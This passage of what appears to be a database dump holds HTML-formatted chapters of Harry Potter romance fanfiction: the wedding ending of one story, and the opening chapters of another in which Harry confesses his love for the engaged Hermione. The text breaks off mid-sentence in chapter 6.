know?&quot;</p>\n\n<p>Hermione shifted uncomfortably, nodding, as she remembered that she\'d had these exact same thoughts when she was grappling with her feelings for Harry.</p>\n\n<p>Ron continued. &quot;So I guess when I snapped at Hermione and you defended her so completely, I just felt our friendship was off balance. I think on a certain level I\'ve known you guys had feelings for each other since the beginning, probably longer than you\'ve known yourselves, right? But I pretended I didn\'t see it. Part of me even hoped that neither of you would see it, which is pretty horrible, huh? I pretended everything was normal, that we were all best friends. Harry, when I saw the raw fury in your eyes after I said those horrible things to Hermione, I could no longer deny that you both care about each other a helluva lot more than you care about me.&quot;</p>\n\n<p>Hermione felt so sad and guilty at these words that she tried to console him.</p>\n\n<p>&quot;No,&quot; he stopped her. &quot;Let me finish. I admit; finally accepting this really hurt. You two are my only real friends, and I feel like you\'re both part of my family. And that was really important to me. I know my parents don\'t really favour Percy or Charlie, or anyone, but sometimes it feels like they do. All my brothers are special in some way, and Ginny\'s their only daughter,&quot; he lowered his eyes. &quot;But there\'s nothing special about me. I\'m just ordinary,&quot; he looked back up at them. &quot;That\'s why our friendship was so important to me. I thought that none of us was more special than the other, and when I realised this wasn\'t true, I just couldn\'t deal with it. Not to mention the fact that it hurt that neither of you could tell me something so important. But please believe me when I say to you both that I\'m so sorry for the way that I\'ve behaved.&quot;</p>\n\n<p>Harry spoke for the first time. &quot;Ron, firstly, you are special. You\'re special to Hermione and me and you\'re special to your parents too. You\'re the best guy I\'ve ever known. And you know that your parents don\'t love any of your siblings more than they love you, right?&quot;</p>\n\n<p>Ron nodded, and quickly wiped away a tear. &quot;Yeah. I know. It just feels like it sometimes.&quot;</p>\n\n<p>Harry continued. &quot;Secondly, I\'m sorry we didn\'t tell you how we were both feeling. But I think I speak for Hermione too when I say that we were both so confused, and so scared by what we felt, that we denied it to ourselves, each other and everyone else for six years. It was too daunting to tell you something as huge as this, so soon after we\'d realised, and before we knew how the other felt.&quot;</p>\n\n<p>Ron nodded once more. &quot;I know. I understand.&quot;</p>\n\n<p>&quot;Lastly, I\'m sorry for the way this has made you feel. Yes, Hermione and I are in love. So, yes, I suppose that in some way our friendship is bound to change, and that perhaps we are closer to each other than we are to you. But that doesn\'t mean we don\'t love you. That doesn\'t mean that we\'re all not best friends, because we are. I hope you never doubt it again,&quot; Harry looked at the ground, almost shyly. &quot;So d\'you think we can hug or something?&quot;</p>\n\n<p>Ron and Harry both began to laugh as the two of them embraced. Hermione still sat on her bed with tears of joy streaming down her face. She was so happy that everything had been resolved. </p>\n\n<p>Ron grinned and looked down at her. &quot;Come here you.&quot;</p>\n\n<p>Hermione jumped up and hugged the two boys. Ron backed away for a moment as Harry kissed Hermione\'s tears away and hugged her once more.</p>\n\n<p>Ron smiled. &quot;By the way, did I mention that I\'m actually really happy for you two?&quot;</p>\n\n<p>They laughed. &quot;Good,&quot; Harry began as he walked towards Hermione\'s drawer and took out the little box. &quot;Cos we\'ve got some more news.&quot;</p>\n\n<p>		(	(	(	(	(	(	(</p>\n\n<p>Three years later</p>\n\n<p>			(	(	(	(	(	(	(</p>\n\n<p>	&quot;Do you, Harry James Potter, take this woman to be your lawful wedded wife?&quot;</p>\n\n<p>	&quot;I do.&quot;</p>\n\n<p>  &quot;And do you, Hermione Ann Granger, take this man to be your lawful wedded husband?&quot;</p>\n\n<p>&quot;I do.&quot;</p>\n\n<p>&quot;Do you have the rings?&quot;</p>\n\n<p>Harry glanced at Ron who was fumbling through his pocket. He grinned, and passed the two, simple gold-band rings to Harry.</p>\n\n<p>Harry and Hermione had decided on an inscription together, which they had put on both bands. It said simply: &quot;My love. My life. Forever.&quot;</p>\n\n<p>Harry turned back to Hermione who stood smiling at him radiantly. He already thought she was the most beautiful thing he\'d ever seen, but he\'d honestly never seen her look so exquisite in all her life. Her hair was folded into a French twist on top of her head, and she wore a simple, yet elegant, white gown.</p>\n\n<p>He began his vows. &quot;Hermione, I\'ve loved you from the moment I met you, and now, nine years later, I stand here next to you, about to become your husband, more in love with you than ever. You are my lover, my confidante, my joy, my guide and my friend. I swear to be a good husband to you, and I swear to love you for all of this life and the next. All that I am is yours.&quot;</p>\n\n<p>He placed a ring on her finger, and brushed away a tear from her eye. </p>\n\n<p>She smiled. &quot;Harry, I\'ve dreamt of this day for a very long time. I\'ve dreamt that I\'d have the chance to be your wife, and it\'s finally happening. You are my best friend and the most important person to me in the world. I know that we will have a great life together because we are fortunate enough to have found what many only dream of. You are my life, my destiny, and my soul mate. I pledge my undying love to you here, now and always. All that I am is yours.&quot;</p>\n\n<p>This time it was Hermione\'s turn to wipe a tear of Harry\'s away as she placed his ring on his finger.</p>\n\n<p>&quot;I now pronounce you husband and wife...&quot;</p>\n\n<p>With that, Harry immediately closed the gap between them and, with his hands on either side of her face, kissed her deeply.</p>\n\n<p>&quot;...You may kiss the bride,&quot; the reverend finished needlessly over the roar of cheers from the wedding guests.</p>\n\n<p>Harry and Hermione looked at each other, smiling and said simultaneously, &quot;I love you.&quot;</p>\n\n<p>Ron then rushed up to the two of them and gave them both a big bear hug.</p>\n\n<p>&quot;I wonder what the future has in store for the three of us,&quot; he said to no one in particular.</p>\n\n<p>Harry smiled, looking at his best friend and his wife. &quot;Whatever it is, we\'ll get through it. Together.&quot;</p>\n\n<p>The End</p>\n<p>  </p>\n\n<p>		</p>\n\n<p>		        </p>\n\n<p> </p>\n<p>              </p>\n<p>          </p>\n<p>    </p>\n<p> </p>\n\n<p>   </p>\n\n<p>&nbsp;</p>\n<p>			   </p>\n\n\n'),
	(201, 1, '\n\n<p align="JUSTIFY">Disclaimer: You know the drill: everything Potter belongs to the brilliant Ms Rowling. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">If I Don\'t Tell You Now</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">Chapter 1: The House</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">Harry Potter stood outside the little country house and stared up at it, running his hand through his eternally messy mop of black hair. He adjusted his glasses, trying desperately to find the courage to go up and knock on the plain, crimson door, feeling both anxious and afraid of who lay beyond it. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">This house had become like a whipping boy to Harry. He had known the pain caused by what lay inside the house, long before he knew the house itself. But ever since he was made aware of it\'s presence, the house became the focal point of his suffering. It was easier that way, easier to direct his feelings of anger and sorrow at a house, than to deal with them properly. But for Harry, these feelings were becoming evermore unbearable.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">At first he\'d ignored the pain. He\'d lied to himself about what he felt, and tried to move on with his life. For a time, it had almost worked; he\'d almost believed that lie himself. But, all too soon for Harry\'s liking, the indelible truth began to slowly make its presence felt, thereby crushing that lie until Harry couldn\'t even comprehend how he could have fooled himself with it in the first place. Having to face the reality came as a real blow to Harry. That lie was the only thing that offered him respite from the pain that had long since become the only constant in his life. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">But Harry, who had known far more than his fair share of hardships in his twenty-seven years, felt that he could deal with his suffering, as he had dealt with every hurdle that had come his way. Except that Harry had never before had to deal with his problems on his own. For his whole life, for he truly believed that his life only began when he came to Hogwarts, he had had two people who meant the world to him. They had helped and guided him through every trial he\'d ever faced. They were as vital to him as the air that he breathed.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">However this pain that he felt was not something he could share with them. In fact, they were inadvertently and unknowingly the cause for his suffering. And, slowly but surely, it had caused him to retreat into himself, and pull away from their friendship, causing Harry to feel as though he were drowning, but had no voice with which to cry out for help.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">He shivered at the thought, and hugged his robe tighter to him in a vein attempt to ease the cold he felt that came not from the cool evening, but from within himself. Suddenly and painfully, Harry felt not as though he were standing in front of that brick house on a chilly Devonshire evening, but rather that he was back in Privet Drive, in a small cupboard under the stairs. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">He took a step toward the house and paused, subconsciously gritting his teeth and furrowing his brow. He shook his head, slightly embarrassed at his cowardice, and sighed. Then he slowly made his way towards the door of 7 Trafford Lane, and knocked.</p>\n\n'),
	(201, 2, '\n\n<p>Chapter 2</p>\n\n<p>Harry immediately heard sounds of life coming from within the house; a clattering of dishes, a quick laugh, followed by the same voice issuing an exclamation of what Harry thought sounded like mock pain. </p>\n\n<p>Suddenly, the door opened, and Harry found himself face to face with a man the same age as him, though slightly taller, and very lanky, with flaming red hair. The man was still laughing softly as he massaged the back of his head.</p>\n\n<p>&quot;Harry!&quot; he exclaimed warmly, his smile widening as he pulled Harry into a bear hug.</p>\n\n<p>Harry patted the man\'s back. &quot;Ron,&quot; he smiled. &quot;It\'s great to see you.&quot;</p>\n\n<p>&quot;You too, Harry, you too. Come in, please. How\'ve you been? What\'ve you been up to? It seems like ages since we last saw you!&quot; he spoke quickly, still grinning happily. </p>\n\n<p>Harry\'s smile faltered just slightly, but Ron, who was closing the front door, didn\'t notice. &quot;Well, I\'m fine,&quot; Harry said as he moved into the living room. &quot;I\'ve just been a bit busy lately. Had to catch up on a lot of work at the office.&quot; Harry turned his gaze to the ground, and cleared his throat. &quot;Where\'s ...?&quot;</p>\n\n<p>&quot;Hermione, there you are!&quot; Ron said cheerily to the woman who had just entered the room. &quot;Look, Harry\'s just arrived!&quot;</p>\n\n<p>Harry, still with his eyes averted to the floor, tentatively looked up, and was immediately met by Hermione\'s tender gaze. </p>\n\n<p>&quot;Harry,&quot; she said softly, as she quickly closed the distance between them and wrapped her arms tightly around him. Harry sighed into her embrace, and closed his eyes. </p>\n\n<p>Hermione pulled away and put a hand on his cheek. She stared into his eyes, and spoke quietly, but emotionally. &quot;I\'ve really missed you, Harry.&quot;</p>\n\n<p>He surveyed her briefly. She looked as beautiful as she always had, with her deep brown eyes, and wavy dark hair, which framed her face perfectly. He smiled down at her, the touch of her hand still on his cheek spreading warmth throughout his entire body. &quot;I\'ve missed you too, Hermione.&quot;</p>\n\n<p>For the first time that evening, she smiled at him and enveloped him in a hug once more. </p>\n\n<p>&quot;So Harry, I hope you\'re hungry, \'cause I think Hermione\'s made enough food for at least six people,&quot; Ron laughed.</p>\n\n<p>Harry pulled himself away from Hermione\'s arms and looked briefly at the practically forgotten Ron, noticing Hermione doing the same. She was turning slightly red and had an odd, shy smile on her face, as she started fidgeting with her hair.</p>\n\n<p>Harry chuckled. &quot;Don\'t worry,&quot; he said to them both. &quot;I\'m so hungry I could eat a hippogriff.&quot;</p>\n\n<p>Ron grinned once more, and clapped him on the back. &quot;Excellent. Let\'s go to the table then. I\'ll start serving, that is, if Hermione didn\'t break all our dishes.&quot; He began to laugh again. &quot;She practically jumped out of her skin when she head you knock on the door. Dropped some plates she was carrying,&quot; he said, still laughing.</p>\n\n<p>Hermione scowled, blushing red once more, and hit him playfully on the back of the head. </p>\n\n<p>&quot;Ouch,&quot; Ron cried, his eyes grinning despite his efforts to look hurt. &quot;Why do you keep hitting me?&quot; </p>\n\n<p>&quot;Because you deserve it,&quot; Hermione retorted, her own eyes shining in jest. She looked at Harry, apparently wishing to explain. &quot;I just wasn\'t expecting you just yet. The knocking frightened me a little. But no harm done,&quot; she smiled.</p>\n\n<p>&quot;Tell that to the dishes,&quot; Ron mumbled, as he shot behind Harry to avoid another smack. </p>\n\n<p>Hermione put her hands on her hips. &quot;Are you so determined to aggravate me tonight, Ronald Weasley? Because you\'re getting off to a very good start.&quot;</p>\n\n<p>Ron came out from behind Harry and hugged her closely. Harry found himself quickly looking away. &quot;No, Miss Granger,&quot; Ron grinned evilly down at her. &quot;I\'m not determined to aggravate you tonight. I\'m determined to do it all the time. After all, what else are future husbands for?&quot;   </p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n\n'),
	(201, 3, '\n\n<p>Chapter 3: The Talk</p>\n\n<p>Hermione shot a quick glance at Harry, before clapping Ron on the back of the head again.</p>\n\n<p>&quot;Ouch!&quot;</p>\n\n<p>&quot;Despite what you might think Ron, becoming my husband does not give you the authority to act like a jerk all the time.&quot; She looked at him with pursed lips. &quot;You already did that as my friend, so if getting married doesn\'t change that, then what\'s the point?&quot;</p>\n\n<p>She walked casually away, over to the table and began dishing out the food. </p>\n\n<p>Ron\'s smile faltered slightly, as he glanced first at Harry, then back at his fianc&#233;e. &quot;Hermione, I\'m sorry, okay?&quot; he said coming up behind her, and wrapping his arms around her waist. &quot;But is everything alright?&quot; he whispered so that Harry, who was trying his best to pretend he was doing something other than listening, could not hear. &quot;I mean,&quot; Ron continued. &quot;You\'ve been a bit short with me lately. Always snapping at me, for no real reason. I know I annoy you sometimes.&quot; He stopped when he saw the amused look on her face. &quot;Okay,&quot; he conceded, chuckling. &quot;Most of the time. But since we got together, I think I\'ve been a lot better, and you\'ve been a lot more tolerant of me on the odd occasion that I have slipped back into my irritating school boy ways. But lately, ever since we got engaged...&quot; He frowned. &quot;I guess I just want to make sure everything\'s okay; that we\'re okay. Are we?&quot;</p>\n\n<p>Hermione turned around in his arms so that she was facing him, and glanced over at Harry, who was thumbing through a book. She looked up at Ron, not quite meeting his eyes, and sighed. &quot;We\'re fine, Ron,&quot; Hermione paused and looked briefly at her hand that was resting on his chest. &quot;Nothing to worry about.&quot;</p>\n\n<p>Ron smiled back down at her. &quot;Good.&quot; He turned around. &quot;Harry, you can put down the book now. World War III narrowly averted,&quot; he smirked. </p>\n\n<p>Harry adjusted his glasses, and looked across at Hermione. &quot;Lucky.&quot;</p>\n\n<p>Hermione looked away from his gaze and cleared her throat. &quot;Okay, boys, dinner\'s ready.&quot;</p>\n\n<p>&quot;Brilliant,&quot; Ron said, planting a quick kiss on her cheek, before sitting down at the table. </p>\n\n<p>Harry pulled out a chair and offered it to the still-standing Hermione. She smiled at him. &quot;Thanks, Harry,&quot; she said, taking her seat parallel to Ron at the circular table. </p>\n\n<p>Harry returned her smile. &quot;You\'re welcome,&quot; he said as he sat, creating between the three of them a triangular shape with himself as the vertex. </p>\n\n<p>Harry picked up his cutlery and began to eat the food, roast pork and vegetables, which Hermione had prepared. </p>\n<p> </p>\n<p>&quot;This is delicious, honey,&quot; Ron said to her between mouthfuls. &quot;Back when we were at school it didn\'t even occur to me that the gift you had for brewing potions would transfer to food and work in my advantage later on,&quot; he said, making Harry and Hermione laugh with him. </p>\n\n<p>&quot;Ron\'s right. It really is incredible, Hermione,&quot; Harry said, still smiling.</p>\n\n<p>Hermione shrugged and rolled her eyes. &quot;What can I say? I do my best,&quot; she looked sideways at Harry, holding his gaze for a moment, and then at Ron, smiling slightly at each of them. &quot;But thank you both. I\'m glad you like it.&quot;</p>\n\n<p>&nbsp;</p>\n<p>After dinner</p>\n\n<p>&nbsp;</p>\n<p>&quot;Listen, don\'t you two worry about that. I\'ll clean everything up.&quot;</p>\n\n<p>Hermione looked quizzically at Ron, surprised by his very infrequent offer to wash the dishes.</p>\n\n<p>&quot;What?&quot; he said, noticing her stare, and smirking back at her. &quot;You\'re acting like I\'ve never offered to clean up before?&quot;</p>\n\n<p>Hermione narrowed her eyes at him. &quot;Okay, who are you and what have you done with Ron?&quot;</p>\n\n<p>Harry and Ron laughed. &quot;Hey, this is all me, baby,&quot; Ron said, trying to sound like Barry White, and causing both Harry and Hermione to erupt in laughter. &quot;Seriously, we haven\'t seen Harry in a long time, and I thought you\'d like to talk to him alone for a bit.&quot; Ron\'s smirk returned. &quot;Don\'t worry, I\'ll steal him away from you later while you make the desert.&quot;</p>\n\n<p>Ron patted Hermione fondly on the head, as he began clearing the dining room table of the plates and leftover food.</p>\n\n<p>Hermione watched him go and then turned to Harry, smiling. &quot;Do you want to go and sit on the porch?&quot; she asked.</p>\n\n<p>&quot;Sure.&quot;</p>\n\n<p>Hermione took her jacket from where it was hanging on the back of the front door and put it on, before heading out into the chilly night. Harry followed her, closing the door behind him. Hermione made her way over to a bench on the far end of the porch and sat down, patting the spot next to her. Harry made his way over and sat down next to her.</p>\n\n<p>They sat in silence for a few moments.</p>\n\n<p>&quot;You\'ve been awfully quiet tonight Harry,&quot; Hermione began cautiously. &quot;Is there something the matter?&quot;</p>\n\n<p>Harry looked into her eyes and saw concern reflected in them. He could tell she was worried, and wanted to know if she could help him, but was not going to press him to reveal anything he didn\'t want to. Hermione just watched him as she waited patiently for an answer that Harry didn\'t really want to give.</p>\n\n<p>&quot;Well,&quot; he began finally, not even knowing how he was going to continue. &quot;I\'m not really sure, to be honest.&quot;</p>\n\n<p>Hermione looked at him, confused, but she did not push him, as he knew she wouldn\'t. </p>\n\n<p>Harry sighed. &quot;I\'ve been having some ...personal problems, for a very long time now&quot;</p>\n\n<p>Hermione reached out to his hand, and held it in her own. &quot;Harry, you know that if you ever need to talk to Ron or I, you can. You can come to us about anything, at anytime. You\'re the most important person in...&quot; she stopped herself. &quot;... our life.&quot; </p>\n\n<p>Harry looked down their interlocked hands. &quot;Thanks, Hermione. I know I can come to you, and believe me, I wanted to.&quot; He looked up into her eyes. &quot;It\'s just that I\'m not sure you, or anyone, can help me out this time.&quot;</p>\n\n<p>Hermione squeezed his hand, and smiled warmly. &quot;Why don\'t you try me?&quot;</p>\n\n<p>Harry chuckled briefly, and then sighed. &quot;Okay...&quot; he began, terrified beyond belief. &quot;You see, it\'s about a girl...&quot;</p>\n\n<p>&quot;Mr. Potter,&quot; she began, still squeezing his hand and laughing softly, though the laugh did not seem to reach her eyes. &quot;It was strange enough to have to reveal this little secret to Ron in our fourth year, but even stranger to have to tell you now, at twenty-seven years old. You see, believe it or not, I myself am a girl, and therefore may be of some use to you.&quot;</p>\n\n<p>Harry laughed again. &quot;Oh, I\'ve always known you were a girl, Hermione.&quot; He stopped laughing and bit his lip, as Hermione watched his face intently, waiting for him to continue. &quot;Well, I know this girl. Only she\'s with another guy, and they\'re really happy. And, honestly, I\'m happy for them. But you see, she\'s the most beautiful, amazing, intelligent, caring and loving person I\'ve ever met.&quot; He looked at Hermione. &quot;And the thing is ... I\'m in love with her.&quot;   </p>\n\n'),
	(201, 4, '\n\n<p>Chapter 4: The Kiss</p>\n\n<p>&quot;Oh,&quot; said Hermione, looking down at their still clasped hands, before easing out of his grasp and walking over to stand by the balcony, her back to him. &quot;I\'m sorry, Harry. That must be terrible.&quot;</p>\n\n<p>Harry sighed, and began wringing his hands. &quot;Yeah, it\'s been pretty unbearable. I\'ve been in love with her for ... well, it seems like forever. But I was too thick to realise. By the time I did ... I\'d lost any chance I might\'ve had with her.&quot;</p>\n\n<p>&quot;Are you sure?&quot; Hermione asked dully, staring out at the dark and empty street.</p>\n\n<p>&quot;Yeah, like I said, she\'s with this guy and they\'re really in love,&quot; Harry paused, wondering how much further he dared to go in the conversation, but decided to ignore the part of his mind that was screeching at him to stop. Now that he\'d started to explain his heart, as he\'d wanted to for so long, it seemed that he\'d lost any control, or desire, to stop. &quot;The worst part is that the guy she\'s with, well, he\'s a friend of mine. I feel like I\'m betraying him, just by feeling the way I do. And it\'s killing me.&quot;</p>\n\n<p>Hermione turned around to face him, her eyes overbright. &quot;Don\'t say that, Harry. Please don\'t ever say that. You\'re not betraying him. You haven\'t done anything about your feelings, have you?&quot;</p>\n\n<p>&quot;No,&quot; Harry said, shocked at the thought. &quot;I wouldn\'t, I couldn\'t. Not ever,&quot; he finished, defeated.</p>\n\n<p>Hermione turned away from him again. &quot;Maybe you should,&quot; she said quietly.</p>\n\n<p>&quot;What?&quot;</p>\n\n<p>&quot;Harry, if you really love this woman, you owe it to yourself, and to her even, to tell her. Let her know how you feel. If you keep it inside of you for the rest of your life, without saying anything...&quot; her voice hitched for a moment. She composed herself. &quot;You just need to tell her. The worst that can happen is that you confirm what you already believe. But you need closure, Harry, so that you can move on. And you\'re never going to be able to if there\'s still a part of you that believes there\'s a chance.&quot;</p>\n\n<p>&quot;I hear what you\'re saying, Hermione,&quot; he said to her back. &quot;But you don\'t understand. I\'d be risking a lot. My friendship with her boyfriend... and my friendship with her. I couldn\'t bare to jeopardise that.&quot;</p>\n\n<p>&quot;What other option do you have, Harry?&quot; Hermione questioned, rather shrilly, finally facing him again. &quot;Is their friendship worth more to you than your own well-being?&quot;</p>\n\n<p>&quot;Much more,&quot; Harry interrupted, staring deeply into her eyes. &quot;So much more.&quot;</p>\n\n<p>Hermione looked at him, at a loss, searching for something to say. &quot;I just hate to see you like this... I\'ve always hated to see you like this. When you\'re in pain, or in trouble...&quot; Her shoulders began to shake, as her chin began to tremble, and tears welled up in her eyes. &quot;And I hate not being able to help you.&quot;</p>\n\n<p>Harry was by her side in an instant, wrapping his arms around her. &quot;But you do help me, Hermione. You help me in ways that you don\'t even realise,&quot; he pulled away from her enough so that he could look into her eyes, but still keep his arms firmly around her waist. &quot;You\'ve always been there for me. You\'ve always believed in me, even during times when I didn\'t believe in myself.&quot; Harry found his voice breaking, as he said the things he had needed to say to her for years. &quot;You\'re the only one ... you\'re the only one who\'s always ... who\'s always loved me like that, unconditionally. And it\'s meant more to me than you\'ll ever know.&quot;</p>\n\n<p>Harry wiped the tears from her cheeks, as she gazed up at him, seemingly speechless for the first time in her life.</p>\n\n<p>So close now, he tried to go on. &quot;Hermione, I...&quot; </p>\n\n<p>But suddenly, Harry felt that he couldn\'t continue. He was staring at her lips, his own parted slightly, when he found himself leaning closer to her. Hermione\'s eyes widened, and then closed softly, as she too leaned forward. </p>\n\n<p>Harry\'s heart raced as he realised what was about to happen. He was only inches away from her lips now. His mind begged for him to stop, as all the possible and terrible outcomes of this one moment sped through his brain. Harry, it seemed, wouldn\'t, or couldn\'t, listen. </p>\n\n<p>As their lips met, delicately, Harry became hyperaware of every part of her. The taste of her lips; the smell of her hair; the way the skin of her forearms felt under his touch. After a moment, Hermione pulled away and looked up at him in awe. She lifted her hand and, after a moment\'s hesitation, placed it cautiously on his cheek, then letting her fingers graze his lips. Everything seemed to happen in slow motion as Harry once more leaned towards her, to close the distance between them.</p>\n\n<p>&quot;Okay, guys, time\'s up!&quot;</p>\n\n<p>Harry and Hermione were jolted out of their trance-like state by the sound of Ron\'s booming voice on the other side of the door. Harry looked down at her, before stepping quickly away, moving towards the bench. Hermione seemed in shock, as she walked quickly to the railing of the balcony, facing the street, just as the front door opened.</p>\n\n<p>&quot;Well I can\'t let you have him all to yourself tonight, Hermione,&quot; Ron stated jokingly, walking out onto the porch. He went and stood by Hermione, and kissed her quickly on the cheek. The he turned to face Harry. &quot;So what have you guys been up to?&quot; </p>\n\n'),
	(201, 5, '\n\n<p>Chapter 5: The Reality</p>\n\n<p>Harry cleared his throat. &quot;You know,&quot; he answered Ron. &quot;Just catching up.&quot; He looked across at Hermione, who still had her back to him. </p>\n\n<p>&quot;Okay, well, my turn,&quot; said Ron, walking over to sit down next to Harry.</p>\n\n<p>&quot;Okay then, uh, I\'ll be inside doing, er, something,&quot; said Hermione uncomfortably, before rushing into the house without a backward glance.</p>\n\n<p>Ron sighed, rubbing his forehead as he watched her go. &quot;Harry, did she say anything to you about, well, anything?&quot;</p>\n\n<p>&quot;What?&quot; Harry asked, swallowing.</p>\n\n<p>&quot;I mean, was she acting strange, at all?&quot;</p>\n\n<p>&quot;Ron, what are you talking about?&quot;</p>\n\n<p>Ron sighed again. &quot;Harry, I need to talk to you, man to man. About Hermione.&quot;</p>\n\n<p>Harry looked at his hands. &quot;Sure Ron, of course.&quot;</p>\n\n<p>Ron stood now, and walked to the spot Hermione had previously occupied by the railing. &quot;I think there\'s something wrong; with her, or with us... or maybe both, I just don\'t know. I mean, we\'ve been together for almost six years now. We\'ve had our ups and downs, like we used to as friends and like most couples anyway. And, of course, we\'ve had good times too, great times even,&quot; he smiled fondly. &quot;But there was always something... I can\'t even put my finger on it, Harry.&quot; Ron thought for a moment. &quot;But it\'s like there\'s always been something... something not quite right. Like, it feels as though she\'s never completely herself with me. Like there\'s still a part of her that I just can\'t get to, and it\'s keeping us apart. I thought that it, whatever it is exactly, would change when I proposed...&quot;</p>\n\n<p>&quot;Is that why you did it?&quot; Harry interrupted, looking startled. &quot;Propose, I mean?&quot; </p>\n\n<p>&quot;What?&quot; Ron asked, confused. &quot;No, no. I love Hermione, you know I do. And I asked her to marry me because I love her. What I mean is that, I thought this... this distance would disappear if she knew, really knew, how much I love her, and that I want to spend the rest of my life with her. I thought she\'d be more open, especially with us living together.&quot; He sniffed, and ran his finger through his hair. &quot;For a while there, it did work, when I first did it. For a good few weeks, we were closer than we\'d ever been. I felt like we were really, truly together, for the first time in our relationship. I mean, you remember what it was like for us before? When we were at school, I kept dancing around my feelings for her, never letting her in the way you did, always keeping her at arms length. I thought I\'d wrecked any shot I might\'ve had with her. Hell, I thought I\'d wrecked any shot of a true friendship with her! But then, when I got the stones to tell her how I felt, and we got together... I thought the barriers we\'d erected between each other all those years earlier would come down.&quot; He looked across at Harry. &quot;But they never did.&quot;</p>\n\n<p>Harry broke eye contact, and looked at his feet, not knowing what to say and feeling more horrible and uncomfortable than he ever had before. </p>\n\n<p>&quot;I really need your help, Harry. Things with Hermione are back to the way they used to be, maybe even worse. She won\'t let me in. She hasn\'t seemed truly happy in the longest time. You know, just last week, I found her sitting out here,&quot; Ron said, pointing to the bench Harry was seated on. &quot;She was looking through her old photo album, with pictures of us from school, and she was crying.&quot; He put his face in his hands and rubbed. &quot;She was crying, and I have no idea why. I asked her, of course, but she just said it was \'that time of the month\', and she was emotional. It wasn\'t the truth, though, I could tell. To be honest, that\'s part of the reason I asked you to come over.&quot;</p>\n\n<p>Harry looked up, sharply, with a questioning glance.</p>\n\n<p>&quot;It wasn\'t the only reason, I did want to see you myself.&quot; Ron chuckled, misreading Harry\'s expression. He quickly sobered. &quot;But you and Hermione... well, you\'ve always been so close. Despite, or maybe because of, the not-so-recent change in our relationship, I think she still feels more comfortable talking to you. Look, I\'m leaving town in two days. I\'m going to visit Charlie in Romania for a week, but I don\'t want to leave her alone to stew over whatever\'s wrong. I was wondering, hoping, that maybe you\'d stay with her while I\'m gone? Take care of her; make sure she\'s okay, and maybe even... talk to her; see if she\'ll tell you what\'s wrong.&quot;</p>\n\n<p>Harry, who had been shaking his head, now spoke up. &quot;Ron, I think it\'s a really bad idea for me to get in the middle of this. You should talk to her yourself...&quot;</p>\n\n<p>&quot;But she won\'t talk to me!&quot; Ron cried. &quot;Aren\'t you listening? That\'s the whole problem!&quot; He paused for a moment to take a deep breath, and continued more calmly. &quot;Look, even if you don\'t want to talk to her about this, I still want you to stay here with her. If she\'s left alone, I\'m worried that she\'ll have too much time alone to think. That she\'ll start thinking things that I really don\'t want her to think. I\'m worried that she\'ll decide to...&quot; Ron breathed deeply, gripping the balcony railing tightly. He looked at Harry, his eyes glistening slightly. &quot;Please. Please, Harry, I\'m asking you to do this as my friend, and hers.&quot;</p>\n\n<p>Harry sighed, and walked to the other side of the porch. He glanced into the window, and saw Hermione sitting down on the staircase, her head in her hands. Harry looked away. &quot;All right, Ron,&quot; he whispered, defeated. &quot;I think this is a really bad idea but, all right, I\'ll do it.&quot;</p>\n\n<p>Ron let out a huge breath he\'d been holding, and smiled. &quot;Thanks, Harry. You\'re got no idea how much this means to me. You\'re the best friend a guy could ask for.&quot;</p>\n\n<p>Harry, who felt suddenly and violently nauseous, issued a shaky breath. &quot;Look, when are you leaving, Ron?&quot;</p>\n\n<p>&quot;First thing Tuesday morning.&quot;</p>\n\n<p>&quot;Okay,&quot; Harry said, starting quickly towards the porch steps, desperate to leave. &quot;Tell Hermione I\'ll be hereafter work.&quot;</p>\n\n<p>&quot;What?&quot; Ron looked confused. &quot;You\'re not going now, are you? We haven\'t even had desert?&quot;</p>\n\n<p>&quot;I\'m not hungry, Ron, I\'ve started feeling a bit ill. And I need to get up early tomorrow.&quot; He began making his way down the stairs, holding tightly to the rails, feeling as if he were about to faint. </p>\n\n<p>&quot;Aren\'t you gonna say goodbye to Hermione?&quot; Ron asked, as Harry had reached the path. </p>\n\n<p>Harry looked back at him, and the house he shared with Hermione. He could see her standing in front of a top floor window, looking down at him. He forced his eyes back to Ron. &quot;If I don\'t speak to you before you leave, I hope you have a good trip. See you soon.&quot; </p>\n\n<p>And with that, Harry began walking as quickly as he could, away from 7 Trafford Lane. </p>\n\n'),
	(201, 6, '\n\n<p>A/N: The song, &quot;If I Don\'t Tell You Now&quot; that I have used as my title makes an appearance in this chapter. But, just like everything Potter, the song is not mine. It is sung by the musical God that is Ronan Keating, and was written by one of the greatest songwriters of all-time, the amazing Diane Warren.</p>\n\n<p>Chapter 6: The Decision</p>\n\n<p>Harry had walked for about an hour, his thoughts as jumbled as a yard sale, before gaining the presence of mind to remember that he could simply leave the way he had arrived, and apparate home. Feeling stupid, ill, scared and confused, he heaved a great sigh of relief when he appeared outside his flat a moment later. </p>\n\n<p>Making his way through the door, he plopped down in his couch, grateful to finally be away from the horrible mess he had created. He sat, trying his best to relax and think of anything but Hermione and Ron. However ironically, in Harry\'s opinion, despite all his efforts, he could think of nothing else.</p>\n\n<p>How could he be so gun-ho about his feelings, practically laying them on a platter? How could he accept Ron\'s plea to stay with Hermione while Ron was away? And, foremost in Harry\'s mind, how could he be so stupid as to kiss Hermione? Outside her own house, no less. The house she shared with Ron, Harry\'s own best friend. </p>\n\n<p>Harry, at this moment, hated himself more than he had ever hated anyone. His abhorrence at himself after Cedric and Hagrid died was powerful, and still haunted him daily. His disgust of Voldemort and Pettigrew bordered on toxic. But this detestation he now felt for himself was almost all consuming. He had knowingly betrayed his best friend. In Harry\'s mind, it was one of the worst crimes imaginable. And Harry knew that he could never right that horrible wrong. </p>\n\n<p>Yet there was one other thought, aside from self-hatred, that was plaguing Harry\'s mind. It was Hermione\'s reaction that was really eating at him. If she had pushed him away, yelled at him, or even cursed him after he had kissed her, he would know where he stood. He would do the best he could to stay out of their lives from then on, and go back to hating himself and feeling 